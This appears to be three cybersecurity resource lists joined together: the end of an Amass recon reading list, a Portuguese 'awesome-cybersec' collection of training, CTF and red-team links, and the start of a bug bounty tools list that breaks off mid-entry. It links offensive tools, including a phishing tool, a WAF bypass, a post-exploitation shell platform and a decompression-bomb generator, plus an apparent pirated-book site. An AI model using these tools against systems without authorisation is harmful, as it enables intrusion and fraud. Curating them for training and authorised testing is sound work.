Testing](https://securitytrails.com/blog/top-linux-distributions-ethical-hacking-pentesting) * [5 Subdomain Takeover #ProTips](https://securitytrails.com/blog/subdomain-takeover-tips) * [Red Team Methodology - A Naked Look](https://www.slideshare.net/JasonLang1/red-team-methodology-a-naked-look-169879355) * [Asset Enumeration: Expanding a Target's Attack Surface](https://captmeelo.com/bugbounty/2019/09/02/asset-enumeration.html) * [Das Sicherheitswerkzeug Kali Linux steht in der Version 2019.3 bereit](https://www.heise.de/security/meldung/Das-Sicherheitswerkzeug-Kali-Linux-steht-in-der-Version-2019-3-bereit-4512459.html) * [Commando VM 2.0: Customization, Containers, and Kali, Oh My!](https://www.fireeye.com/blog/threat-research/2019/08/commando-vm-customization-containers-kali.html) * [8 Free Tools to Be Showcased at Black Hat and DEF CON](https://www.darkreading.com/application-security/8-free-tools-to-be-showcased-at-black-hat-and-def-con/d/d-id/1335356?image_number=5) * [amass — Automated Attack Surface Mapping](https://danielmiessler.com/study/amass/) * [Aquatone — A Tool for Domain Flyovers](https://github.com/michenriksen/aquatone) * [Collaborating with the Crowd – Recapping LevelUp 0X04](https://www.bugcrowd.com/blog/recapping_levelup_0x04/) * [Subdomain Enumeration: 2019 Workflow](https://0xpatrik.com/subdomain-enumeration-2019/) * [REMOTE CODE EXECUTION ! 😜 Recon Wins](https://medium.com/@vishnu0002/remote-code-execution-recon-wins-e9c1db79f3da) * [Security assessment on staging domains](https://tutorgeeks.blogspot.com/2019/05/security-assessment-on-staging-domains.html) * [Where You’ll Find Us: An Overview of SecurityTrails Integrations](https://securitytrails.com/blog/integrations-overview) * [Web tools, or where to start a pentester?](https://habr.com/en/company/dsec/blog/452836/) * [Tool for detailed DNS enumeration and creation of network infrastructure maps](https://www.gurudelainformatica.es/2019/05/herramienta-para-enumeracion-detallada.html) * [Top 7 Subdomain Scanner Tools: Find Subdomains in Seconds](https://securitytrails.com/blog/subdomain-scanner-find-subdomains) * [Cyber Talent Gap: How to Do More With Less](https://www.digitalshadows.com/blog-and-research/cyber-talent-gap-how-to-do-more-with-less/) * [My Recon Process — DNS Enumeration](https://medium.com/@noobhax/my-recon-process-dns-enumeration-d0e288f81a8a) * [Week in OSINT #2019–16: From OSINT for pentesting, to OCR and OWASP](https://medium.com/week-in-osint/week-in-osint-2019-16-8ccfe0da1a70) * [Stop Using Python for Subdomain Enumeration](http://sec.alexflor.es/post/subdomain_enum/) * [My Personal OSINT Techniques, Part 1 of 2: Key & Layer, Contingency Seeding](https://0x00sec.org/t/my-personal-osint-techniques-part-1-of-2-key-layer-contingency-seeding/) * [Subdomain Enumeration Tools – 2019 Update](https://www.yeahhub.com/subdomain-enumeration-tools-2019-update/) * [Leaked Salesforce API access token at IDEA.com](https://medium.com/@jonathanbouman/leaked-salesforce-api-access-token-at-ikea-com-132eea3844e0) * [Week in OSINT #2019–11: This time a collection of mostly tools and sites](https://medium.com/week-in-osint/week-in-osint-2019-11-62774ffe7a2) * [Bug Hunting Methodology (part-1)](https://blog.usejournal.com/bug-hunting-methodology-part-1-91295b2d2066) * [100 ways to discover (part 1)](https://sylarsec.com/2019/01/11/100-ways-to-discover-part-1/) * [Pose a Threat: How Perceptual Analysis Helps Bug Hunters](https://www.bishopfox.com/news/2018/12/appsec-california-pose-a-threat-how-perpetual-analysis-helps-bug-hunters/) * [A penetration tester’s guide to subdomain enumeration](https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6) * [Abusing access control on a large online e-commerce site to register as supplier](https://medium.com/@fbotes2/governit-754becf85cbc) * [Black Hat Training, Making the Cloud Rain Shells!: Discovery and Recon](https://www.blackhat.com/eu-18/training/schedule/index.html#aws--azure-exploitation-making-the-cloud-rain-shells-11060) * [Subdomains Enumeration Cheat Sheet](https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html) * [Search subdomains and build graphs of network structure with Amass](https://miloserdov.org/?p=2309) * [Getting started in Bug Bounty](https://medium.com/@ehsahil/getting-started-in-bug-bounty-7052da28445a) * [Source code disclosure via exposed .git folder](https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html) * [Amass, the best application to search for subdomains](https://www.h1rd.com/hacking/amass-para-buscar-subdominios) * [Subdomain Takeover: Finding Candidates](https://0xpatrik.com/subdomain-takeover-candidates/) * [Paul's Security Weekly #564: Technical Segment - Bug Bounty Hunting](https://wiki.securityweekly.com/Episode564) * [The Bug Hunters Methodology v3(ish)](https://www.youtube.com/watch?v=Qw1nNPiH_Go) * [Doing Recon the Correct Way](https://enciphers.com/doing-recon-the-correct-way/) * [Discovering subdomains](https://www.sjoerdlangkemper.nl/2018/06/20/discovering-subdomains/) * [Asset Discovery: Doing Reconnaissance the Hard Way](https://0xpatrik.com/asset-discovery/) * [Project Sonar: An Underrated Source of Internet-wide Data](https://0xpatrik.com/project-sonar-guide/) * [Top Five Ways the Red Team breached the External Perimeter](https://medium.com/@adam.toscher/top-five-ways-the-red-team-breached-the-external-perimeter-262f99dc9d17) ## Stargazers over Time [![Stargazers over Time](https://starcharts.herokuapp.com/OWASP/Amass.svg)](https://starcharts.herokuapp.com/OWASP/Amass)
# awesome-cybersec [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome) ![](https://img.shields.io/badge/Contribuitions-Welcome-brightgreen) Um acervo de incríveis plataformas, blogs, documentos, livros, recursos e coisas legais sobre cibersegurança! Embora este repositório ainda seja um trabalho em andamento, o objetivo é construir uma coleção categorizada de recursos bem conhecidos, dirigida pela comunidade. # Tudo de bom em um só lugar! Honestamente, antes de acessar qualquer conteúdo mencionado aqui, é útil se familiarizar com estes atalhos: https://www.shortcutfoo.com/ ## Treinamento * [Range force](https://portal.rangeforce.com/courses) * [HTB](https://www.hackthebox.eu/) * [Tryhackme](https://tryhackme.com/) * [Blue team academy](https://app.letsdefend.io/academy/) * [Kali revealed](https://kali.training/) * [Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/) * https://platform.mosse-institute.com/#/dashboard * https://infosec4tc.teachable.com/p/cism2020 * [https://riptutorial.com/bash](https://riptutorial.com/bash) * https://www.hackerrank.com/domains/shell * [https://pentesterlab.com/](https://pentesterlab.com/) * [https://www.pentesteracademy.com/](https://www.pentesteracademy.com/) * [https://www.offensive-security.com/labs/individual/](https://www.offensive-security.com/labs/individual/) * [https://www.vulnhub.com/](https://www.vulnhub.com/) * [Google doc : vulnhub oscp like vm's list](https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0) * [Wordpress boxes on vulnhub](https://www.reddit.com/user/therealsavalon/comments/o3cn1l/wordpress_boxes_on_vulnhub/?utm_source=share&utm_medium=web2x&context=3) * [Vulnhub CTF writeups](https://github.com/Ignitetechnologies/Vulnhub-CTF-Writeups) * [Linux Privilige escalation Cheatsheet](https://github.com/Ignitetechnologies/Linux-Privilege-Escalation) * [Privilige escalation](https://github.com/Ignitetechnologies/Privilege-Escalation) * https://hacking-lab.com/ * [https://scs.hacking-lab.com/](https://scs.hacking-lab.com/) * [Malware Noob2Ninja course](https://www.youtube.com/watch?v=GE_aSVq8ZnQ&list=PLiFO-R_BI-kAqDPqtnOq2n70mtAZ6xg5N) * [n3t2.3c](https://nets.ec/Main_Page) * [Hacking-cisco](https://hackingcisco.blogspot.com/) * [Open security training](https://opensecuritytraining.info/Training.html) * [Pentest standard](http://www.pentest-standard.org/index.php/Main_Page) * [Security-tube](http://www.securitytube.net/) ### WebApp/Bugbounty * [Web Security Academy](https://portswigger.net/web-security) * [https://owasp.org/www-project-juice-shop/](https://owasp.org/www-project-juice-shop/) * [https://www.bugbountyhunter.com/](https://www.bugbountyhunter.com/) * [https://www.hacker101.com/](https://www.hacker101.com/) * [https://www.hacksplaining.com/](https://www.hacksplaining.com/) * [awesome-web-hacking](https://github.com/infoslack/awesome-web-hacking) - [Resources-for-Beginner-Bug-Bounty-Hunters](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters) - [https://thexssrat.podia.com/dashboard](https://thexssrat.podia.com/dashboard) - [https://github.com/websploit/websploit](https://github.com/websploit/websploit) - [https://dvwa.co.uk/](https://dvwa.co.uk/) - [https://owasp.org/www-project-webgoat/](https://owasp.org/www-project-webgoat/) - [Resources & Disclosed Reports](https://github.com/HolyBugx/HolyTips/tree/main/Resources) - [Bug-bounty-roadmaps](https://github.com/1ndianl33t/Bug-Bounty-Roadmaps) - [Bug-hunting-methodologies](https://github.com/IamLucif3r/Bug-Hunting) - [Open Source Bug Bounty Guide - Methodology, Tools, Resources](https://www.youtube.com/watch?v=BHIGJQdId3k) - [Thug-bounty](https://start.me/p/vjEPvb/thug-bounty) - [Bugbounty-Writeups](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups) - [The Best Bug Bounty Recon Methodology](https://securib.ee/beelog/the-best-bug-bounty-recon-methodology/) - [Pentesting web checklist](https://pentestbook.six2dez.com/others/web-checklist/) - [Web-application cheatsheet](https://github.com/Ignitetechnologies/Web-Application-Cheatsheet) - Aprender como vários stacks funcionam parece ser um aspecto importante do bug bounty, então você precisa aprender pelo menos uma de MERN ou LAMP ou o que quer que seja. Você pode aprender o MERN Stack construindo seu próprio site de revisão de restaurantes do tipo Yelp. MERN significa MongoDB + Express + React + Node.js. Então, na segunda metade do curso, você aprenderá como trocar seu Node.js/Express back end em favor da Arquitetura sem Servidor. (3 horas de curso no YouTube): [https://www.freecodecamp.org/news/create-a-mern-stack-app-with-a-serverless-backend/](https://www.freecodecamp.org/news/create-a-mern-stack-app-with-a-serverless-backend/) #### Recursos do servidor do Discord hacker101 **Como começar com hacking e bug bounties?** Reunimos alguns recursos úteis para começar sua jornada de Bug Bounty! - [**Guide to learn hacking**](https://www.youtube.com/watch?v=2TofunAI6fU "https://www.youtube.com/watch?v=2TofunAI6fU") - [**Finding your first bug**](https://portswigger.net/blog/finding-your-first-bug-bounty-hunting-tips-from-the-burp-suite-community "https://portswigger.net/blog/finding-your-first-bug-bounty-hunting-tips-from-the-burp-suite-community") - [ **Port Swigger Web Security Academy**](https://portswigger.net/web-security/learning-path "https://portswigger.net/web-security/learning-path") - [**Nahamsec's Twitch**](https://www.twitch.tv/nahamsec "https://www.twitch.tv/nahamsec") - [ **Nahamsec interviews with top bug bounty hunters**](https://www.youtube.com/c/Nahamsec "https://www.youtube.com/c/Nahamsec") - [**Nahamsec's beginner repo**](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters "https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters") - [**Stök**](https://www.youtube.com/c/STOKfredrik "https://www.youtube.com/c/STOKfredrik") - [**InsiderPhD**](https://www.youtube.com/c/InsiderPhD "https://www.youtube.com/c/InsiderPhD") - [ **Series for new bug hunters**](https://www.youtube.com/playlist?list=PLbyncTkpno5FAC0DJYuJrEqHSMdudEffw "https://www.youtube.com/playlist?list=PLbyncTkpno5FAC0DJYuJrEqHSMdudEffw") - [ **Jhaddix** ](https://www.youtube.com/c/jhaddix "https://www.youtube.com/c/jhaddix") ##### Postagens de membros do hacker101 sobre como começar no hacking - [**zonduu**](https://medium.com/@zonduu/bug-bounty-beginners-guide-683e9d567b9f "https://medium.com/@zonduu/bug-bounty-beginners-guide-683e9d567b9f") - [**p4nda**](https://enfinlay.github.io/bugbounty/2020/08/15/so-you-wanna-hack.html "https://enfinlay.github.io/bugbounty/2020/08/15/so-you-wanna-hack.html") - [**also a blog on subdomain takeovers**](https://enfinlay.github.io/sto/ip/domain/bugbounty/2020/09/12/ip-server-domain.html "https://enfinlay.github.io/sto/ip/domain/bugbounty/2020/09/12/ip-server-domain.html") - [**clos2100** on getting started without a technical background ](https://twitter.com/pirateducky/status/1300566000665014275 "https://twitter.com/pirateducky/status/1300566000665014275") - - [ **al-madjus** from 0 to bug hunter](https://klarsen.net/uncategorized/from-0-to-bug-hunter-my-journey/ "https://klarsen.net/uncategorized/from-0-to-bug-hunter-my-journey/") - [ **dee-see**'s resources for Android Hacking](https://blog.deesee.xyz/android/security/2020/01/13/android-application-hacking-resources.html "https://blog.deesee.xyz/android/security/2020/01/13/android-application-hacking-resources.html") - [ **hacker101 videos**](https://www.hacker101.com/videos "https://www.hacker101.com/videos") ## Ferramentas - [Pwncat](https://github.com/calebstewart/pwncat) é uma plataforma pos-exploração(post-exploitation) para alvos Linux. Ela começou como um invólucro(wrapper) em torno de cascas básicas(basic bind) de encadernação e inversão(reverse shells) e tem crescido a partir daí. Ela simplifica as operações comuns do Red Team enquanto encena o código da sua máquina atacante, não o alvo. - [Automatic bypass (brute force) waf](https://github.com/3xp10it/xwaf) - [DFIR-Tools](https://github.com/archanchoudhury/DFIR-Tools) - [https://pentestbox.org/](https://pentestbox.org/) - [Notes , tons of notes](https://enotes.nickapic.com/) - [Writehat : A pentest reporting tool written in Python. Free yourself from Microsoft Word.](https://github.com/blacklanternsecurity/writehat) - [OSINT4ALL](https://start.me/p/L1rEYQ/osint4all) - [Shadrak : Shadrak is a script to generate decompression bomb in various formats.](https://gitlab.com/brn1337/shadrak) - [Fish: a phishing tool](https://github.com/aarav2you/Fish/) - [Owasp Zap](https://www.zaproxy.org/), uma alternativa gratuita e open source ao burpsuite - [Pimpmykai](https://github.com/Dewalt-arch/pimpmykali) - [Name that hash](https://github.com/HashPals/Name-That-Hash) - [Burp Automator(burpa) - A Burp Suite Automation Tool.](https://github.com/tristanlatr/burpa) - [The harvester](https://github.com/laramies/theHarvester) ## CTF's * [https://ctftime.org/](https://ctftime.org/) * [https://ctf.hackthebox.eu/ctfs](https://ctf.hackthebox.eu/ctfs) * [https://www.hackthissite.org/](https://www.hackthissite.org/) * [Hack.me](https://hack.me/) * [Try2Hackme](https://try2hack.me/) * [Hackthissite](https://www.hackthissite.org/) * [https://overthewire.org/wargames/](https://overthewire.org/wargames/) * [https://underthewire.tech/wargames](https://underthewire.tech/wargames) * [Pwnable.tw](https://pwnable.tw/challenge/) * [Pwnable.kr](http://pwnable.kr/play.php) * [Root-me](https://www.root-me.org/?lang=en) * [Smash the stack](http://smashthestack.org/wargames.html) * [Cryptohack.org](https://cryptohack.org/) * [PicoCTF](https://www.picoctf.org/) * [CMDchallenge](https://cmdchallenge.com/) * [Defend the web](https://defendtheweb.net/dashboard) * [ChaosVPN](https://wiki.hamburg.ccc.de/ChaosVPN) * [PentestIT](https://lab.pentestit.ru/) * [Overthewire-Warzone](https://overthewire.org/warzone/) * [CTF Difficulty cheatsheet (Vulnhub)](https://github.com/Ignitetechnologies/CTF-Difficulty) ## Recursos no GitHub * [Malware Analysis Course](https://github.com/hasherezade/malware_training_vol1) * [Malware-IR-TH-TI-Resources](https://github.com/ShilpeshTrivedi/Malware-IR-TH-TI-Resources/blob/main/Malware-IR-TH-TI-Resources.md#malware-ir-th-ti-resources) * [Red Team tactics and techniques](https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques) * [Red Teaming toolkit](https://github.com/infosecn1nja/Red-Teaming-Toolkit) * [Red Team](https://github.com/BankSecurity/Red_Team) * [awesome red teaming](https://github.com/an4kein/awesome-red-teaming) * [Powershell red team](https://github.com/tobor88/PowerShell-Red-Team) * [Red Teaming](https://github.com/winterwolf32/Red-teaming) * [Red-team](https://github.com/Sorsnce/red-team) * [Red team diaries](https://github.com/ihebski/A-Red-Teamer-diaries) * [awesome-web-hacking](https://github.com/infoslack/awesome-web-hacking) * [awesome-security](https://github.com/sbilly/awesome-security) * [infosec-resources](https://github.com/pascalschulz/Infosec-Resources) * https://github.com/archanchoudhury/Davy-Jones-Locker * [Everything about web application firewalls (WAFs)](https://github.com/0xInfection/Awesome-WAF) * [awesome-hacking](https://github.com/carpedm20/awesome-hacking) * [BARF: Binary analysis and reverse engineering framework](https://github.com/programa-stic/barf-project) * [Automatic Linux privesc via exploitation of low-hanging fruit](https://github.com/liamg/traitor) * [CTF-KATANA](https://github.com/JohnHammond/ctf-katana) * [Active-directory-exploitation-cheatsheet](https://github.com/fuzz-security/Active-Directory-Exploitation-Cheat-Sheet) * [The book of secret knowledge : A collection of inspiring lists, manuals, cheatsheets, blogs, hacks, one-liners, cli/web tools and more.](https://github.com/trimstray/the-book-of-secret-knowledge) * [PyWhat : identify anything](https://github.com/bee-san/pyWhat) * [OSEE prep resources](https://github.com/dhn/OSEE) ## Blogs * [https://blog.tryhackme.com/free\_path/](https://blog.tryhackme.com/free_path/) * [From zero to hero in your first pentest](https://corneacristian.medium.com/from-zero-to-your-first-penetration-test-7479bce3a5) * [So you want to be a hacker in 2021](https://tcm-sec.com/so-you-want-to-be-a-hacker-2021-edition/) * [netsecfocus](https://www.netsecfocus.com/) * https://nosecurity.blog/cptc2020 * [https://null-byte.wonderhowto.com/](https://null-byte.wonderhowto.com/) * [https://portswigger.net/blog/flying-high-in-the-web-security-academy](https://portswigger.net/blog/flying-high-in-the-web-security-academy) * [https://www.simplycyber.io/free-cyber-resources](https://www.simplycyber.io/free-cyber-resources) * [https://blog.g0tmi1k.com/](https://blog.g0tmi1k.com/) * [https://www.hackingarticles.in/](https://www.hackingarticles.in/) * [https://www.hackingtutorials.org/](https://www.hackingtutorials.org/) * [https://www.hacking-tutorial.com/](https://www.hacking-tutorial.com/) * [The Journey to Try Harder- TJnull's Preparation Guide for PEN-200 PWK OSCP 2.0](https://www.netsecfocus.com/oscp/2021/05/06/The_Journey_to_Try_Harder-_TJnull-s_Preparation_Guide_for_PEN-200_PWK_OSCP_2.0.html) * https://hacklido.com/ * [What is a block cypher](https://www.freecodecamp.org/news/what-is-a-block-cipher/) * [freecodecamp blog](https://www.freecodecamp.org/news/) * [Redhuntlabs blog](https://redhuntlabs.com/blog) * [Hackthebox blog](https://www.hackthebox.eu/blog) * [Tryhackme blog](https://blog.tryhackme.com/) * [Start in infosec](https://malicious.link/start/) * [Ethical Hacking With Hack The Box :A free book for getting started in Ethical Hacking](https://book.ethicalhackinghtb.xyz/) * [Blog Cysource](https://www.cysource.com.br/blog) PT-BR ## Treinamentos pagos * [cybersec labs](https://www.cyberseclabs.co.uk/) * [Virtyal Hacking Labs](https://www.virtualhackinglabs.com/) * https://academy.tcm-sec.com/courses * [INE](https://my.ine.com/learning-paths) * https://hackersacademy.com/ * [Cysource](https://www.cysource.com.br/#courses_grid) PT-BR ## Recursos * https://startupstash.com/cybersecurity-resources/ * https://threatexpress.com/redteaming/resources/ * [Reverse enginering](https://www.infosecinstitute.com/skills/learning-paths/reverse-engineering/) * [https://ippsec.rocks/?#](https://ippsec.rocks/?#) * [https://liveoverflow.com/](https://liveoverflow.com/) * [Learn vim](https://www.vim.so/) or [Emacs](https://www.emacswiki.org/emacs/LearningEmacs) eu não ligo, não quero começar uma guerra * [Python Cybersecurity - Build your own tools](https://www.reddit.com/r/Python/comments/o0dzk6/python_cybersecurity_build_your_own_tools/) * [Osint framework](https://osintframework.com/) * [Getting started with OSINT](https://www.reddit.com/r/OSINT/comments/e78he1/osint_for_beginners_part_1_introduction/?utm_source=share&utm_medium=web2x&context=3) * [Vulnhub resources](https://www.vulnhub.com/resources/) ## Recursos de programação ### **Aprenda git** [Flight rules for Git](https://github.com/k88hudson/git-flight-rules) [https://ohmygit.org/](https://ohmygit.org/) [https://www.freecodecamp.org/news/what-is-git-learn-git-version-control/](https://www.freecodecamp.org/news/what-is-git-learn-git-version-control/) ### **Geral** [Comprehensive Guide to Learn CS Online](https://qvault.io/2020/11/18/comprehensive-guide-to-learn-computer-science-online/) [What Is Test Automation?](https://www.perfecto.io/blog/what-is-test-automation) [Get Started With TypeScript the Easy Way](https://austingil.com/typescript-the-easy-way/) [Machine Learning with Introduction](https://rubikscode.net/2021/01/04/machine-learning-with-ml-net-introduction/) [freecodecamp](https://www.freecodecamp.org/) [Programiz](https://www.programiz.com/) [Codewars](https://www.codewars.com/) [Code academy](https://www.codecademy.com/) [Fullstackopen : Deep Dive Into Modern Web Development](https://fullstackopen.com/en/) [Learn {Python,Java,C,JavaScript,PHP,Shell,C#}](https://www.learn-c.org/) ### **Python** [Ultimate Python study guide](https://github.com/huangsam/ultimate-python) [A beginner’s guide to data visualization with Python](https://old.reddit.com/r/Python/comments/kriteb/a_beginners_guide_to_data_visualization_with/) [and Seaborn](https://old.reddit.com/r/Python/comments/kriteb/a_beginners_guide_to_data_visualization_with/) [Nice Guide on Modern Python Packages](https://old.reddit.com/r/Python/comments/kxev5h/nice_guide_on_modern_python_packages/) [Intro to Python and Programming for non-CS majors](https://github.com/webartifex/intro-to-python) [https://www.gormanalysis.com/blog/python-pandas-for-your-grandpa/](https://www.gormanalysis.com/blog/python-pandas-for-your-grandpa/) [Practicepython.org](http://www.practicepython.org/) ### **Javascript** [The Modern JavaScript Tutorial](https://javascript.info/) [JavaScript 101 - Variables & Primitives](https://spdevuk.com/javascript-101-variables-and-primitives/) [Guide To Javascript Array Functions: Why you should pick the least powerful tool for the job](https://jesseduffield.com/array-functions-and-the-rule-of-least-power/) [Learn and practice modern JavaScript](https://learnjavascript.online/) ### **Java** [A Hitchhiker's Guide to Containerizing (Spring Boot) Java Apps](https://blog.frankel.ch/hitchhiker-guide-containerizing-java-apps/) [A beginner’s guide to CDC (Change Data Capture)](https://vladmihalcea.com/a-beginners-guide-to-cdc-change-data-capture/) [Java 15 Programmer's Guide To Text Blocks](https://inside.java/2020/08/05/textblocks-programmer-guide/) [Modern Web Development in Java - The (Never) Complete Guide](https://asd.learnlearn.in/java-web/) [Java Modules Cheat Sheet](https://old.reddit.com/r/java/comments/jyddn9/java_modules_cheat_sheet/) [Java Modules Cheat Sheet](https://nipafx.dev/build-modules/) ### **C++** [The Definitive C++ Book Guide and List](https://stackoverflow.com/questions/388242/the-definitive-c-book-guide-and-list) [Linear-cpp](https://github.com/jesyspa/linear-cpp) [Tony Gaddis Early Objects](http://instructor.sdu.edu.kz/~bakhyt/CPP/suggested%20books/Starting%20out%20with%20C++.pdf) ### **PHP*** [PHP The right way](https://phptherightway.com/) ## Links diversos * https://freetraining.dfirdiva.com/ * [You'll find majority of the books you're looking for here](https://b-ok.global/) * [ssh-audit](https://github.com/jtesta/ssh-audit) * [Secure your linux install](https://www.reddit.com/r/linux/comments/ns7r7o/a_complete_yet_beginner_friendly_guide_on_how_to/) * [Awesome-Linux-Software](https://github.com/luong-komorebi/Awesome-Linux-Software) * [Twitter-geolocate](https://github.com/davidkowalk/twitter_geolocate) ## Canais no YouTube [Pwnfunction](https://www.youtube.com/channel/UCW6MNdOsqv2E9AjQkv9we7A) [zSecurity](https://www.youtube.com/user/zaidsabeeh) [HckerSploit](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) [Nullbyte](https://www.youtube.com/channel/UCgTNupxATBfWmfehv21ym-g) [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) [John hammond](https://www.youtube.com/user/RootOfTheNull) [The cyber mentor](https://www.youtube.com/channel/UC0ArlFuFYMpEewyRBzdLHiw) [Network Chuck](https://www.youtube.com/user/NetworkChuck) [Ippsec ](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) [Insiderphd ](https://www.youtube.com/user/RapidBug) [David bomball ](https://www.youtube.com/user/ConfigTerm) [Alhz4r3d ](https://www.youtube.com/channel/UCz-Z-d2VPQXHGkch0-_KovA) [Daniel Donda](https://www.youtube.com/user/DanielDonda) PT-BR [Guia Anônima](https://www.youtube.com/user/adsecf) PT-BR ## Servidores no Discord [the cyber mentor](https://discord.gg/tcm) [the many hats club](https://discord.gg/infosec) [infosec prep ](https://discord.gg/infosecprep) [certification station](https://discord.gg/certstation) [network Chuck](https://discord.gg/networkchuck) [nahmsec](https://discord.gg/xd75Stsuxk) [bounty hunters](https://discord.gg/bugbounty) [The Alh4z-R3d Team](https://discord.gg/thealh4zr3dteam) [hack the box](https://discord.gg/hackthebox) [tryhackme](https://discord.gg/tryhackme) [hack this site](https://discord.gg/ETm3Q8SSht) [PG (proving grounds) ](https://discord.gg/6neBxaGjHD) [Getting started in security ](https://discord.gg/dnEcAqZn4x) [INE Unofficial server ](https://discord.gg/XGVaBeapXQ) [Offsec official server](https://discord.gg/offsec) [ctf learn](https://discord.gg/Susw824A2T) [Hacker101](https://discord.gg/HuwdMBJ2WS) ### ➡️ Contribuições Você é bem-vindo para contribuir! Você pode contribuir ao: - Traduzir esse repositório para outras linguagens - Adicionar mais ferramentas e recursos - Adicionando uma estrela nesse repositório :) :point\_right: Se você tem alguma ideia nova para esse repositório, issue, feedback ou encontrou alguma ferramenta valiosa, sinta-se à vontade para abrir uma issue ou me manda uma mensagem no Discord: @thelastmethbender#4823
# Awesome Bug Bounty Tools [![Awesome](https://awesome.re/badge.svg)](https://awesome.re) > A curated list of various bug bounty tools ## Contents - [Recon](#Recon) - [Subdomain Enumeration](#Subdomain-Enumeration) - [Port Scanning](#Port-Scanning) - [Screenshots](#Screenshots) - [Technologies](#Technologies) - [Content Discovery](#Content-Discovery) - [Links](#Links) - [Parameters](#Parameters) - [Fuzzing](#Fuzzing) - [Exploitation](#Exploitation) - [Command Injection](#Command-Injection) - [CORS Misconfiguration](#CORS-Misconfiguration) - [CRLF Injection](#CRLF-Injection) - [CSRF Injection](#CSRF-Injection) - [Directory Traversal](#Directory-Traversal) - [File Inclusion](#File-Inclusion) - [GraphQL Injection](GraphQL-Injection) - [Header Injection](#Header-Injection) - [Insecure Deserialization](#Insecure-Deserialization) - [Insecure Direct Object References](#Insecure-Direct-Object-References) - [Open Redirect](#Open-Redirect) - [Race Condition](#Race-Condition) - [Request Smuggling](#Request-Smuggling) - [Server Side Request Forgery](#Server-Side-Request-Forgery) - [SQL Injection](#SQL-Injection) - [XSS Injection](#XSS-Injection) - [XXE Injection](#XXE-Injection) - [Miscellaneous](#Miscellaneous) - [Passwords](#Passwords) - [Secrets](#Secrets) - [Git](#Git) - [Buckets](#Buckets) - [CMS](#CMS) - [JSON Web Token](#JSON-Web-Token) - [postMessage](#postMessage) - [Subdomain Takeover](#Subdomain-Takeover) - [Uncategorized](#Uncategorized) --- ## Recon Lorem ipsum dolor sit amet ### Subdomain Enumeration - [Sublist3r](https://github.com/aboul3la/Sublist3r) - Fast subdomains enumeration tool for penetration testers - [Amass](https://github.com/OWASP/Amass) - In-depth Attack Surface Mapping and Asset Discovery - [massdns](https://github.com/blechschmidt/massdns) - A high-performance DNS stub resolver for bulk lookups and reconnaissance (subdomain enumeration) - [Findomain](https://github.com/Findomain/Findomain) - The fastest and cross-platform subdomain enumerator, do not waste your time. - [Sudomy](https://github.com/Screetsec/Sudomy) - Sudomy is a subdomain enumeration tool to collect subdomains and analyzing domains performing automated reconnaissance (recon) for bug hunting / pentesting - [chaos-client](https://github.com/projectdiscovery/chaos-client) - Go client to communicate with Chaos DNS API. - [domained](https://github.com/TypeError/domained) - Multi Tool Subdomain Enumeration - [bugcrowd-levelup-subdomain-enumeration](https://github.com/appsecco/bugcrowd-levelup-subdomain-enumeration) - This repository contains all the material from the talk "Esoteric sub-domain enumeration techniques" given at Bugcrowd LevelUp 2017 virtual conference - [shuffledns](https://github.com/projectdiscovery/shuffledns) - shuffleDNS is a wrapper around massdns written in go that allows you to enumerate valid subdomains using active bruteforce as well as resolve subdomains with wildcard handling and easy input-output… - [censys-subdomain-finder](https://github.com/christophetd/censys-subdomain-finder) - Perform subdomain enumeration using the certificate transparency logs from Censys. - [Turbolist3r](https://github.com/fleetcaptain/Turbolist3r) - Subdomain enumeration tool with analysis features for discovered domains - [censys-enumeration](https://github.com/0xbharath/censys-enumeration) - A script to extract subdomains/emails for a given domain using SSL/TLS certificate dataset on Censys - [tugarecon](https://github.com/LordNeoStark/tugarecon) - Fast subdomains enumeration tool for penetration testers. - [as3nt](https://github.com/cinerieus/as3nt) - Another Subdomain ENumeration Tool - [Subra](https://github.com/si9int/Subra) - A Web-UI for subdomain enumeration (subfinder) - [Substr3am](https://github.com/nexxai/Substr3am) - Passive reconnaissance/enumeration of interesting targets by watching for SSL certificates being issued - [domain](https://github.com/jhaddix/domain/) - enumall.py Setup script for Regon-ng - [altdns](https://github.com/infosec-au/altdns) - Generates permutations, alterations and mutations of subdomains and then resolves them - [brutesubs](https://github.com/anshumanbh/brutesubs) - An automation framework for running multiple open sourced subdomain bruteforcing tools (in parallel) using your own wordlists via Docker Compose - [dns-parallel-prober](https://github.com/lorenzog/dns-parallel-prober) - his is a parallelised domain name prober to find as many subdomains of a given domain as fast as possible. - [dnscan](https://github.com/rbsec/dnscan) - dnscan is a python wordlist-based DNS subdomain scanner. - [knock](https://github.com/guelfoweb/knock) - Knockpy is a python tool designed to enumerate subdomains on a target domain through a wordlist. - [hakrevdns](https://github.com/hakluke/hakrevdns) - Small, fast tool for performing reverse DNS lookups en masse. - [dnsx](https://github.com/projectdiscovery/dnsx) - Dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. - [subfinder](https://github.com/projectdiscovery/subfinder) - Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. - [assetfinder](https://github.com/tomnomnom/assetfinder) - Find domains and subdomains related to a given domain - [crtndstry](https://github.com/nahamsec/crtndstry) - Yet another subdomain finder - [VHostScan](https://github.com/codingo/VHostScan) - A virtual host scanner that performs reverse lookups - [scilla](https://github.com/edoardottt/scilla) - Information Gathering tool - DNS / Subdomains / Ports / Directories enumeration ### Port Scanning - [masscan](https://github.com/robertdavidgraham/masscan) - TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes. - [RustScan](https://github.com/RustScan/RustScan) - The Modern Port Scanner - 